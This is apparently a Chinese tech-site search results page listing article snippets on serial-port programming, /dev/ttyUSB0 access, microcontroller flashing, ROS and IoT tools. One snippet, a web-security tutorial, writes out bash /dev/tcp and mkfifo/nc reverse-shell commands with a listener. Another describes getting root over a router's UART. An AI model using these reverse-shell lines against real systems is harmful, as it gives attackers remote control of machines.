首页
学习
活动
专区
圈层
工具
发布

Shell 脚本实现串口操作

实际生产测试需求中,常常有串口连通性测试,其对应的最简单的测试方法即:「调用非交互式串口工具登录串口并发送(命令)接收数据(命令返回)」。...根据测试方法可以知道,实际测试工具所需具备功能并不复杂,所以通常我们使用 c语言 或 python 调用相关库完成该工具的编写。...实现效果 普通非交互式命令与普通终端操作无区别,如ls,cd等 在使用交互式命令时,不太友好,但可以实现一些简单操作,如vim中的上下翻页等 可拓展性好,可将串口登录退出等操作嵌入脚本中,调用该脚本工具时只用关注命令发送和返回内容解析即可...stty修改串口终端设置 初始状态时,使用cat /dev/ttyUSB0可能会出现刷屏或者乱码,需使用stty进行相关参数设置。...: /dev/ttyUSB0: unable to perform all requested operations [root@localhost ~]# stty -a -F /dev/ttyUSB0

5.6K30

python 解析 GPS 模块数据

本文记录如何用 python 接收串口 gps 数据并解析。...需求 GPS 北天 PL2303G Chip 驱动安装完成,后需要用 Python 连接获取串口 GPS 信号数据 设备准备 接入设备 将 GPS 模块插入 USB 等接口中,并正确配置驱动程序 获取设备信息...bash 复制 1 ls -l /dev/tty* 经过一番确认,我的 gps 设备是 /dev/ttyUSB0 开放设备权限 访问设备有时需要较高的权限,为了方便 python 读取,这里做一些权限开放...: 1 chmod 666 /dev/ttyUSB0 Python 实现 安装库: 12 pip install serialpip install pynmea2 源码: 123456789101112131415161718192021222324252627282930313233...import serialimport pynmea2# 配置串口参数ser = serial.Serial('/dev/ttyUSB0', 9600, timeout=1) # 请根据您的设备修改串口路径和波特率

54410
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Python来编写串口通信

    欢迎关注微信公众号:数据科学与艺术 作者WX:superhe199 如果你在使用Python来编写串口通信的程序,但是程序运行后没有反应,可能是由几个原因造成的。...以下是一些排查和解决问题的步骤: 确认串口连接: 确保你的串口设备已经正确连接到计算机,并且串口号(如COM3在Windows或/dev/ttyUSB0在Linux)是正确的。...通常,你可以通过sudo命令或以用户身份运行Python脚本来获取必要的权限。 检查串口参数: 检查你的串口配置参数(如波特率、数据位、停止位、校验位)是否与你的设备相匹配。...Windows示例 或者 ser = serial.Serial(‘/dev/ttyUSB0’, 9600, timeout=1) # Linux示例 if ser.isOpen(): print(...如果设置为0,则读取操作将立即返回(如果没有数据可读,则可能返回空字符串)。 调试: 在代码中添加打印语句来检查每一步的执行情况。这可以帮助你确定代码是否正在执行,以及在哪个点上停止响应。

    6710

    南天PR2驱动:多操作系统的安装与应用指南

    一、前言南天 PR2 驱动用于连接南天测量设备(如测距仪、全站仪等)与电脑,实现数据传输与管理。目标:多操作系统兼容,支持数据采集、测量记录和分析。...driver_linux编译与安装sudo make sudo make install权限设置添加用户到 dialout 组,允许访问串口:sudo usermod -aG dialout $USER连接设备与测试通过... /dev/ttyUSB0 或 /dev/ttyS0 测试通信使用 screen /dev/ttyUSB0 9600 测试数据传输五、Mac OS 安装下载 DMG 驱动包双击打开,拖动驱动到 Applications... /dev/ttyUSB* 权限权限不足Linux:加入 dialout 组;Mac:系统安全设置允许驱动驱动不兼容下载对应系统版本驱动,避免使用 32 位驱动在 64 位系统七、应用技巧数据采集:使用官方软件可以直接导出...CSV 或 DXF 格式批量管理:Windows 可通过 COM 批量采集数据脚本接口:Linux / Mac 支持 Python 或 C++ SDK 接口,方便二次开发 小结:Windows:安装驱动

    6510

    minicom指令_minicom配置及说明

    选择A,设置dev/ttyS1 表示是串口2。 将选项E的值设置为 :9600 值得注意的是Serial Device部分,默认值是/dev/ttyS1。...C清屏 D拨一个号,或转向拨号目录 E切换本地回显为on/off (若你的minicom版本支持) F将break信号送modem G运行脚本(Go)。...如果改变了macros,而且未存盘,会提供  你一个save 如果用的是USB转接线可以如下操作 插入USB转串口的线,应该可以在/dev目录下发现ttyUSB0这个块设备文件 # ls /dev/ttyUSB0.../dev/ttyUSB0 设置“Serial port setup” 以root用户运行minicom –s,进入configuration界面,如下: [configuration] Filenames...A – Serial Device : /dev/ttyUSB0 B – Lockfile Location : /var/lock C – Callin Program

    1.6K20

    Linux 下上手 STC89C52RC

    那么谈谈 Linux 我如何搭建 STC89C52RC 的开发环境吧。 (一) 选择自己喜好的代码编辑器即可。vim , emacs , gedit 等都可以。 (二) 安装编译器。...(三) 将生成的可执行程序烧录到单片机是需要一条下载线的。一般说来使用 USB 转串口的下载线。插上之后,在 /dev 里面有个设备叫 ttyUSB* 说明可以进行后面内容。...通过我测试的一个烧录工具 stcflash 。这是一个 python 脚本。因此你需要安装 python 环境。大部分 Linux 发行版安装了 python 。...但是你需要安装一个额外的运行库 python-serial 。 $ sudo pacman -S python-serial 将下载好的 stcflash.py 放入源文件目录。...成功结果如下: Connect to /dev/ttyUSB0 at baudrate 2400 Detecting target... done FOSC: 11.996MHz Model: STC89C52RC

    1.7K10

    STM32通过rosserial接入ROS通讯开发

    本文将记录如何在ROS上使用其提供的serial包进行串口通信。...Dirver包中是我进行自定义的各种电机控制和IMU等的程序包 从程序文件的名称大家应该就可以看出来,这个部分的文件也是做外设等的基本配置,数据的基本发送和接收部分。...首先在一个终端开启 roscore 然后使用我们安装好的 rosserial_python 进行启动节点 rosrun rosserial_python serial_node.py /dev.../ttyUSB0 _baud=115200 当然第一次启动会进行报错,权限不够,拒绝访问,,此时我们就需要对USB的权限进行设置,使得 /dev/ttyUSB0 可以被读写 sudo chmod...777 /dev/ttyUSB0 在启动过程中,我们就可以看到我们设置的publis的 VelFb_就初始化了。

    2.6K20

    实战 | 我的智慧工厂搭建之路:边缘计算 + MQTT,打通设备“最后一公里”

    因为设备数据取不出来,通信协议五花八门,厂区网络不稳定,采集端CPU负载高,最后搞个平台还只能看个“数字大屏”……说白了,我们不是没数据,而是“不会用”“拿不到”“传不上”!...我的做法是写了个边缘采集脚本,用 Python 做数据采集,用 paho-mqtt 负责“发布”。...:import minimalmodbusimport paho.mqtt.client as mqtt# 建立串口连接instrument = minimalmodbus.Instrument('/dev.../ttyUSB0', 1)instrument.serial.baudrate = 9600# 连接 MQTT Brokerclient = mqtt.Client()client.connect("localhost...你要愿意深夜改脚本,第二天早上去看设备上了线、数据流起来,那一刻,你就会觉得这一切都值了。

    16910

    5分钟教程:如何通过UART获得root权限

    写在前面的话 你知道物联网设备以及其他硬件制造商是如何调试和测试自家设备的吗?...在这篇文章中,我们将讨论如何通过UART来与TP-Link WR841N (v9.0)进行连接,整个实际动手操作时间大约在五分钟左右。...我们可以使用devttys0的Python脚本来快速寻找到适当的波特率: $ git clone https://github.com/devttys0/baudrate $ cd baudrate...下载之后,我们将TP-Link路由器接电,然后在开启设备的同时运行Python脚本: $ sudo python baudrate.py 之后,你就可以用上下键来扫描不同的波特率了,这个过程其实跟你调整无线电台频率是一样的...为了通过UART来与设备进行交互,我们需要运行下列命令: screen/dev/ttyUSB0 115200 Boom!!我们成功拿到了shell的root访问权!没错,就是这么简单!

    1.9K60

    Linux|Grep 命令的 12 个实用示例

    1.搜索和查找文件 假设您刚刚在计算机上安装了新 Ubuntu,并且打算尝试使用 Python 脚本。...其次,我们将该输出通过管道传输到 grep -i python,它只是声明“转到 grep 并过滤掉并返回其中包含‘python’的所有内容。”...-name “*.mp3” | grep –i JayZ | grep –vi “remix” 在此示例中,我们使用 find 打印所有带有 *.mp3 扩展名的文件,将其通过管道传输到 grep –...i 以过滤并打印名称为“JayZ”的所有文件,然后将另一个管道传输到 grep –vi 进行过滤out 并且不会打印带有字符串(在任何情况下)“remix”的所有文件名。...计算匹配的数量 类似于通过管道将 grep 字符串传递给字数统计(wc 命令),grep 的内置选项可以为您执行相同的操作: ifconfig | grep -c inet6 7.

    63110

    WEB安全基础 - - -Linux反弹shell

    getshell:获取到目标的命令执行权限 webshell:网站后门,通过web服务进行命令执行 反弹shell:将命令行的输入与输出转移到其他主机 正向shell(客户端想要获得服务端的shell.../dev/tcp/10.1.1.100/6666意思是将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。...控制端:nc -lvvp 6666 被控端:bash -i >& /dev/tcp/10.1.1.100/6666 0>&1    解析:          //     将 /dev/tcp.../10.10.1.11/6666 传递的数据作为交互式shell的输入,命令执行后的结果输出到 /dev/tcp/10.10.1.11/6666 //     /dev/tcp/是Linux中的一个特殊设备....无e参数反弹shell 原理:mkfifo 创建了一个管道,cat将管道里面的内容输出传递给/bin/bash,/bin/bash执行管道里的命令将标准输出和标准错误输出结果通过nc传输到管道,然后获得了

    1.8K20

    在Linux下烧录51单片机

    mv 1/usr/local/bin/ 这时候我们得安装一个依赖,因为51单片机是使用串口下载程序的,安装一个python serial。 ?...apt install python serial 这时候我们可以执行1(stcflash.py)这个脚本了,这时候切换到工作目录中,写一个51单片机的程序。...我在这里只是简单介绍一下如何在Linux下烧录单片机,不是来告诉你在Linux和Windows下编写程序的时候有哪些不同的,这些要注意的是我们自己要去摸索的。...这个软件的功能就是将.ihx文件转化成.hex文件的。 ? packihx mian.ihx>main.hex 使用命令packihx之后,现在我们就有了可以烧写的了.hex文件了。...stcflsh main.hex --port /dev/ttyusb0 我的串口号是USB0。 51 单片机是要断电重启才能烧录的,所以我们断电重启一下。 ? OK 完美。

    4K20

    使用RealSense D455的空间识别操作myCobot

    这次,我尝试了使用 pymycobot 从 python 脚本进行操作的方法,以及使用 mycobot_moveit 库从 ROS 操作 MoveIt 的方法 。 首先,安装pymycobot。...您可以通过在终端中运行ls / dev /来查看连接到PC的设备列表。在Linux中,如果没有其他用于串行通信的USB端口,它将是/ dev / ttyUSB0。...现在我们知道了如何表示数据,让我们实际处理它。...(我认为有一个更智能,更快捷的方法来处理下一个脚本,所以如果你有任何建议,请) 将脚本目录添加到mycobot_test包中,并在其中添加 python 脚本。...因此,让我们创建一个包,将 TF(坐标变换)从相机广播到 myCobot。很抱歉在C++和Python之间来回,但这次我将使用roscpp。首先创建一个包。

    2.4K50

    从Source-to-Image开始构建容器映像【Containers】

    是 测试应用程序源代码 生成器映像是从Dockerfile创建的,因此Dockerfile将包含编译、生成和运行源代码所需的所有包和库。...例如,如果构建器映像是针对Python应用程序的,那么汇编脚本可能会运行pip install来安装requirements.txt文件中的依赖项。对于Go,汇编脚本将运行Go-get等。...s2i/bin/save artifacts脚本获取应用程序运行所需的所有工件,并通过tar命令将它们流式传输到stdout。...我们现在已经安装了S2I,并且很好地理解了如何开始设计我们的构建器。在下一篇文章中,我们将介绍Dockerfile配置的良好实践(包括避免使用根权限),并查看构建示例。...最后,如何将S2I与OKD或OpenShift Container Platform buildConfigs一起使用,以自动生成图像管道。

    1.1K30
    领券